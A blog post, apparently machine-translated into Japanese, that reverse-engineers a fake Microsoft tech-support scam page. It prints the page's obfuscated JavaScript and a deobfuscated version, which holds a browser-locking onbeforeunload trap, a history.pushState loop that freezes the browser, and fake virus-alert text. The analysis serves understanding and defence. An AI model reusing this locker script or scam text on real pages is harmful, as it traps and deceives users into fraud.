悪意のある不正スクリプトのリバースエンジニアリング







数日前、ネットサーフィンをして、悪質な広告のあるサイトに行きました。 このようなバナー広告は珍しくありませんが、これはAdBlockerの保護を突破し、すぐにこのようなサイトにリダイレクトしました。







スピーカーから大きな音が聞こえ、機械の声が聞こえて、コンピューターが感染しており、マイクロソフトのテクニカルサポートに連絡しなければすべてのデータが失われることを知らせました。 モーダルフォームではサイトを離れることができず、アドレスバーが大きくなり始め、最終的にブラウザがハングしました。 印象的なパフォーマンス!







もちろん、コンピューターは何にも感染していません。 サイトからリンクされたRDN / YahLover.wormはフィクションであることが判明しました。これは、コンピューターがウイルスに感染しており、無料のホットラインを呼び出すことによってのみクリーンアップできることを被害者に納得させようとするオンライン詐欺師のツールキットの一部です。 電話での「Microsoft認定」スペシャリストは、感染したコンピューターを有料で「修復」し、ユーザーに本物のマルウェアをインストールするように説得します。 Webで見つかったこのような不正なスキームのマルウェアバイトについては、適切な選択があります。







私はコンピューターに精通しているので、ホットラインに電話することすらしませんでした。 たとえ私が望んだとしても、それは難しいでしょう:詐欺師は電話番号を提供するのを忘れました。 しかし、私はまだ不安を感じていました。ブラウザは完全にフリーズしており、マルウェアが私のシステムに植え付けられたChromeのエクスプロイトがサイトにあった可能性があります。 自分を落ち着かせる(そして好奇心を満たす)ために、私は詐欺サイトの内部スキームを調べることにしました。







サイトの起源の特定



この場合、詐欺師はドメイン名の登録に浸かることなく、被害者を直接IPv4アドレスにリダイレクトしました。 驚いたことに、住所の地理参照検索では、サーバーがより自由なインターネット法のある国ではなく米国にあることが示されました。







画像







このサイトは、人気のクラウドプロバイダーであるDigitalOceanによってホストされていました。 詐欺師でさえ、クラウドの力によって抑制されているようです! 幸いなことに、DigitalOceanには苦情のメールアドレスがあり、このサイトについて連絡しました。 執筆時点では、彼らはまだ回答されていませんが、彼らは確かに行動を起こします。







サイト分析



DigitalOceanに通知して、サイト自体を取り上げました。 私は自分のコンピューターが危険にさらされないようにしたかっただけでなく、詐欺サイトがどのように機能するかについての好奇心に苦しめられました。







最初に、リラックスした雰囲気で探索するために、そのコピーをダウンロードしました。 ブラウザには受け取ったすべてのサイトをレンダリングして実行するという厄介な習慣があるため、コピーをダウンロードするにはwget



に切り替える必要がありました。 驚いたことに、これは機能しませんでしたwget



への直接呼び出しが無効になりました。 何回か試してみたところ、問題はユーザーエージェントにあることがわかりました。HTTPクライアントによってサーバーに送信されるデータの短い部分です。 デフォルトでは、 wget



はサーバーに対して自身をWget/1.19.1



としてWget/1.19.1



ます。 Chromeのふりをしてはどうですか? wget



使用すると、ユーザーエージェントを編集できます。このオプションを試してみましょう。







Mozilla / 5.0(Windows NT 5.1)AppleWebKit / 537.36(KHTML、Geckoなど)Chrome / 41.0.2224.3 Safari / 537.36







そして、サーバーは必要なデータを送り返しました。 私はそれが何だったのか分かりません:失敗した分析の結果またはロボットに対する標準的な保護対策ですが、いずれにしても好奇心が強いです。







このサイトは驚くほどシンプルな構造であることが判明しました。







 ├── files │ ├── defender.png │ ├── fake_close.png │ └── Texts.mp3 └── index.html
      
      





defender.png



はMicrosoftロゴであり、サイトの信頼性を提供します。 fake_close.png



、バックグラウンドメッセージで閉じるアイコンとして使用されます。 そして、その名前が示すように、実際には機能しません。







画像







Texts.mp3



は、スピーチジェネレーターによって作成されたオーディオファイルです。 彼は、サイトを離れ、不正なサポートサービスの呼び出しを拒否した場合の恐ろしい結果について警告します。 最初に、このサイトでは未知のブラウザベースの音声生成機能を使用することを提案しましたが、HTML5オーディオタグで囲まれた単純なmp3であることが判明しました。 あなたはそれを自分で聞くことができます







ソースコードを突く



index.html



ファイルは次のように始まります。







 <!-- Works on Chrome and FF --> <!DOCTYPE html> <html> <head> <meta name="robots" content="noindex, nofollow"> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>Security Warning</title> <meta name="robots" content="NOINDEX,NOFOLLOW"> <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.2/jquery.min.js"> </script>
      
      





興味深い点がいくつかあります。 ほとんどのコードはオープンで、適切にフォーマットされています。 著者は、コードがChromeとFirefoxでテストされたという有益なコメントを残しました。 また、作成者は、検索エンジンによるサイトのインデックス作成を望んでいません。 そのため、 robots



メタタグが2回追加されました。 最後に、jQueryを含めることは、特にサイト上のJSスクリプトがjQueryを使用していないことを考えると、作成者が経験豊富なWeb開発者であることを示しています。 ここに1年半前のバージョンが記載されています。







この後に、約130行の標準HTMLとインラインCSSが続き、偽のウィンドウで青い背景メッセージを取得します。 最も興味深いのは、ファイルの最後です。 まず、Googleアナリティクスのトラッキングスクリプトです。







 <script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','https://www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-99222626-1', 'auto'); ga('send', 'pageview'); </script>
      
      





これは仮定に過ぎませんが、詐欺師がサイトに来たトラフィックの量を測定し、場合によっては訪問者の電話への変換さえ測定する方法だと思います。







最も興味深いJSは、サイトの地下にあります。 意図的に混乱しており、明らかにサイトの動作に責任を負っています。 見てみましょう:







 var text = '*************************************************\nInternet Security Alert! Code: 055BCCAC9FEC\n ************************************************* \n\nInternet Security Alert: Your Computer Might Be Infected By Harmful Viruses \nPlease Do Not Shut Down or Reset Your Computer.\n\nThe following data might be compromised if you continue:\n1. Passwords\n2. Browser History\n3. Credit Card Information\n4. Local Hard Disk Files\n\nThese viruses are well known for identity and credit card theft. Further action on this computer or any other device on your network might reveal private information and involve serious risks.\n\n Call Windows Technical Support: (Toll Free)'; var _0x45bf=['\x70\x75\x73\x68\x53\x74\x61\x74\x65','\x6f\x6e\x62\x65\x66\x6f\x72\x65\x75\x6e\x6c\x6f\x61\x64','\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0a\x52\x44\x4e\x2f\x59\x61\x68\x4c\x6f\x76\x65\x72\x2e\x77\x6f\x72\x6d\x21\x30\x35\x35\x42\x43\x43\x41\x43\x39\x46\x45\x43\x20\x49\x6e\x66\x65\x63\x74\x69\x6f\x6e\x0a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0a\x0a','\x72\x65\x74\x75\x72\x6e\x56\x61\x6c\x75\x65','\x6f\x6e\x6c\x6f\x61\x64','\x74\x6f\x53\x74\x72\x69\x6e\x67'];(function(_0x5954e7,_0x10ca6d){var _0x4d8f25=function(_0x3abcd2){while(--_0x3abcd2){_0x5954e7['\x70\x75\x73\x68'](_0x5954e7['\x73\x68\x69\x66\x74']());}};_0x4d8f25(++_0x10ca6d);}(_0x45bf,0x145));var _0xf45b=function(_0xc97b12,_0x180ff3){_0xc97b12=_0xc97b12-0x0;var _0x2933ba=_0x45bf[_0xc97b12];return _0x2933ba;};function ch(_0x454dc6){window[_0xf45b('0x0')]=function(_0x4a502f){var _0x2e1ee7=_0xf45b('0x1')+_0x454dc6;_0x4a502f[_0xf45b('0x2')]=_0x2e1ee7;return _0x2e1ee7;};window[_0xf45b('0x3')]=function(){if(confirm('\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0a\x52\x44\x4e\x2f\x59\x61\x68\x4c\x6f\x76\x65\x72\x2e\x77\x6f\x72\x6d\x21\x30\x35\x35\x42\x43\x43\x41\x43\x39\x46\x45\x43\x20\x49\x6e\x66\x65\x63\x74\x69\x6f\x6e\x0a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0a\x0a'+_0x454dc6)){var _0x5a0f53='';for(var _0x2f7f0c=0x0;_0x2f7f0c<0x5f5e100;_0x2f7f0c++){_0x5a0f53=_0x5a0f53+_0x2f7f0c[_0xf45b('0x4')]();history[_0xf45b('0x5')](0x0,0x0,_0x5a0f53);}}else{var _0x5a0f53='';for(var _0x2f7f0c=0x0;_0x2f7f0c<0x5f5e100;_0x2f7f0c++){_0x5a0f53=_0x5a0f53+_0x2f7f0c[_0xf45b('0x4')]();history[_0xf45b('0x5')](0x0,0x0,_0x5a0f53);}}};}ch(text);
      
      





スクリプト復号化



パーツに分割します。 最初の部分は、ポップアップダイアログボックスに表示されるプレーンテキストです。 おそらく、必要に応じて、メッセージの編集は簡単です(たとえば、電話番号の追加)。







次に、文字列配列の形式でメッセージのテキストが来ます。 行に分割して、何を扱っているかを確認します。







 var _0x45bf = [ '\x70\x75\x73\x68\x53\x74\x61\x74\x65', '\x6f\x6e\x62\x65\x66\x6f\x72\x65\x75\x6e\x6c\x6f\x61\x64', '\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a' + '\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a' + '\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0a\x52\x44\x4e\x2f\x59\x61\x68\x4c\x6f\x76\x65\x72' + '\x2e\x77\x6f\x72\x6d\x21\x30\x35\x35\x42\x43\x43\x41\x43\x39\x46\x45\x43\x20\x49\x6e' + '\x66\x65\x63\x74\x69\x6f\x6e\x0a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a' + '\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a' + '\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0a\x0a', '\x72\x65\x74\x75\x72\x6e\x56\x61\x6c\x75\x65', '\x6f\x6e\x6c\x6f\x61\x64', '\x74\x6f\x53\x74\x72\x69\x6e\x67' ];
      
      





これらはまさに文字列値ですが、一見するとテキストはゴミのように見えます。 実際、各文字はUnicodeエスケープシーケンスを使用して暗号化されます。 JSインタープリターはそれらを喜んで解析し、シンボルに戻しますが、人々にとってこれはそれほど簡単な作業ではありません。 少しのPythonコード、およびこれらの行は復号化できます。







 var _0x45bf = [ 'pushState', 'onbeforeunload', '*************************************************\n' + 'RDN/YahLover.worm!055BCCAC9FEC Infection\n' + '*************************************************\n\n', 'returnValue', 'onload', 'toString' ];
      
      





これらはJS関数の名前であり、ダミーマルウェアの名前でもあります。 スクリプトは_0x45bf



ような非常に_0x45bf



にくい変数名を使用している_0x45bf



、分析が困難であると言わなければなりません。 この形式は、名前が16進定数のように見えるように意図的に選択されましたが、これらは単なる識別子です。先頭の_記号は、JSインタープリターによって解析されることを示します。 次に、これらの識別子の名前を、目的に関するおおよその仮定に基づいて、より読みやすいものに変更します。







文字列値の配列の直後に匿名関数が続きます。







 (function(_0x5954e7,_0x10ca6d){ var _0x4d8f25 = function(_0x3abcd2) { while(--_0x3abcd2) { _0x5954e7['\x70\x75\x73\x68'](_0x5954e7['\x73\x68\x69\x66\x74']()); } }; _0x4d8f25(++_0x10ca6d); }(_0x45bf,0x145));
      
      





スクリプトを再度フォーマットして、読みやすくしました。







ご覧のとおり、ここでも変数名の非表示が使用されています。 _0x5954e7['\x70\x75\x73\x68']()



ような多くの式があります(変換後: list['push']()



)。 これらは実際にはメソッド呼び出しです。 JSの特徴は、オブジェクトが辞書に非常に似ていること、そしてfoo['bar']()



という形式の呼び出しがfoo.bar()



完全に似ていることfoo.bar()



。 最初のバージョンは正しいものですが、通常のJSコードではほとんど見られないため、難読化の追加レベルとして機能します。







変数の名前を変更し、文字列値を復号化し、メソッド呼び出しを変換すると、より読みやすいバージョンのコードが得られます。







 (function(list, N) { var rotateList = function(NplusOne) { while(--NplusOne) { list.push(list.shift()); } }; rotateList(++N); }(stringList, 325));
      
      





この関数の主な目的は、上記の文字列値のリストを混在させることです。 内側のループでは、 list.push(list.shift())



が数回呼び出されます。 JSでは、 shift



はリストの先頭の要素を削除し、 push



最後に追加します。 言い換えれば、ループの1回の繰り返しは、すべてのレコードを1つ左の位置に再配置するだけです。







呼び出された関数は文字列リストに適用され、325回変換されます。 リストには6つの要素が含まれているため、6回の反復ごとに元のリストを取得します。 325 mod 6 = 1



は、コードのこの部分が文字列値を1つ左にシフトすることを意味します。 リストは次のようになります。







 var shuffledStringList = [ 'onbeforeunload', wormName, 'returnValue', 'onload', 'toString', 'pushState' ];
      
      





簡単にするために、マルウェアをwormName



として識別する行を省略しwormName









混合後、スクリプトは次の関数を定義します。







 var _0xf45b=function(_0xc97b12,_0x180ff3) { _0xc97b12=_0xc97b12-0x0; var _0x2933ba=_0x45bf[_0xc97b12]; return _0x2933ba; };
      
      





それは完全に無意味であっても、可能な限り16進定数が使用されるのは面白いです。 たとえば、 0x0



です。







復号化されたバージョンを見てください:







 function indexStringList(idx) { idx = idx - 0; var result = shuffledStringList[idx]; return result; };
      
      





この関数は単純ですshuffledStringList



配列から特定のインデックスを持つレコードのみを返します。 さらに混乱を招くため、インデックスは文字列値として渡され、式idx = idx - 0;



を使用して数値に変換されidx = idx - 0;



。 これは、算術演算で使用されるときに文字列を10進数に自動的に変換するなどのJS機能のおかげで機能します。







次に、メインのスクリプト入力関数があります。 再フォーマット後、次の結果が得られます。







 function ch(_0x454dc6){ window[_0xf45b('0x0')] = function(_0x4a502f){ var _0x2e1ee7=_0xf45b('0x1')+_0x454dc6; _0x4a502f[_0xf45b('0x2')]=_0x2e1ee7; return _0x2e1ee7; }; window[_0xf45b('0x3')] = function() { if(confirm(wormName+_0x454dc6)){ var _0x5a0f53=''; for (var _0x2f7f0c=0x0;_0x2f7f0c<0x5f5e100;_0x2f7f0c++) { _0x5a0f53=_0x5a0f53+_0x2f7f0c[_0xf45b('0x4')](); history[_0xf45b('0x5')](0x0,0x0,_0x5a0f53); } } else { var _0x5a0f53=''; for (var _0x2f7f0c=0x0;_0x2f7f0c<0x5f5e100;_0x2f7f0c++) { _0x5a0f53=_0x5a0f53+_0x2f7f0c[_0xf45b('0x4')](); history[_0xf45b('0x5')](0x0,0x0,_0x5a0f53); } } }; } ch(text);
      
      





最初に目を引くのは、 _0xf45b('0x0')



ような豊富な呼び出しです。 これらは、すでに上で見たindexStringList



関数の呼び出しです。 つまり、値は単純に文字列値の混合リストから返されるため、最終値に直接置き換えることができます。 _0xf45b('0x0')



onbeforeunload



などになります。







コードのこの部分では、 window[_0xf45b('0x0')]



などの値も使用します。これは、グローバルwindow



インスタンスへの隠しメソッド呼び出しです。 これらの変換を前提として、コードを明示的に書き換えることができます。







 function main(messageBody) { window.onbeforeunload = function(event) { var dialogText = wormName + messageBody; event.returnValue = dialogText; return dialogText; }; window.onload = function() { if (confirm(wormName + messageBody)) { var url = ''; for (var i = 0; i < 100000000; i++) { url = url + i.toString(); history.pushState(0, 0, url); } } else { var url = ''; for (var i = 0; i < 100000000; i++) { url = url + i.toString(); history.pushState(0, 0, url); } } }; } main(text);
      
      





これで、このJSスクリプトの動作を計算できます。 そして彼は3つのことをします:









難読化を削除した後、かなり単純なスクリプトを取得します。 恐ろしい音声メッセージを配信するだけで、ユーザーはテキストを読む(そしておそらく電話をかける)のに十分な時間、サイトに留まる必要があります。







このスクリプトは、コンピューターで実際のマルウェアを実行できなかったと確信しています。 ブラウザがハングした理由も明らかになりました。Chromeは長すぎるURLとスパム履歴を消化しません。







最終的な考え



偽のサポートサービスを完全な悪意のある攻撃と完全に同一視することはできませんが、このサイトでJSスクリプトを難読化するために驚くほど多くの努力が注がれました。 元のコードは30行未満で収まり、リバースエンジニアリングに数時間かかりました。 サイトのシンプルな構造とコードの簡潔なフォーマットを考えると、Web開発に精通した誰かがスクリプトを書いたと思います。 おそらく、作者は単に電話番号を追加するのを忘れていたので、彼の詐欺的なスキームは本当に機能しました。 これは重大な監視であるか、または後に本格的な詐欺サイトに変わるものの初期のテストバージョンに出会いました。







動作するのに十分なのは小さなJSスクリプトだけで十分であり、ブラウザを完全に動作不能にできるため、サイトを離れることができず、アプリケーションを再起動する必要があることは少し残念です。 1日に表示される広告の数を考慮すると、30行のコードを簡単に隠すことができます。 これがあまり頻繁に起こらないのは奇妙です。







とにかく面白かった。 不正なサイトで次に自分自身を見つけたら、コードをさらに掘り下げて、それがどのように機能するかを見てみませんか? 自分にとって興味深いことを学ぶことができます。







UPD。 コメントでは、難読化ツールが正しく特定されました-ここにGithubへのリンクがあり、Timofey Kachalovは開発に従事していますsanex3339








All Articles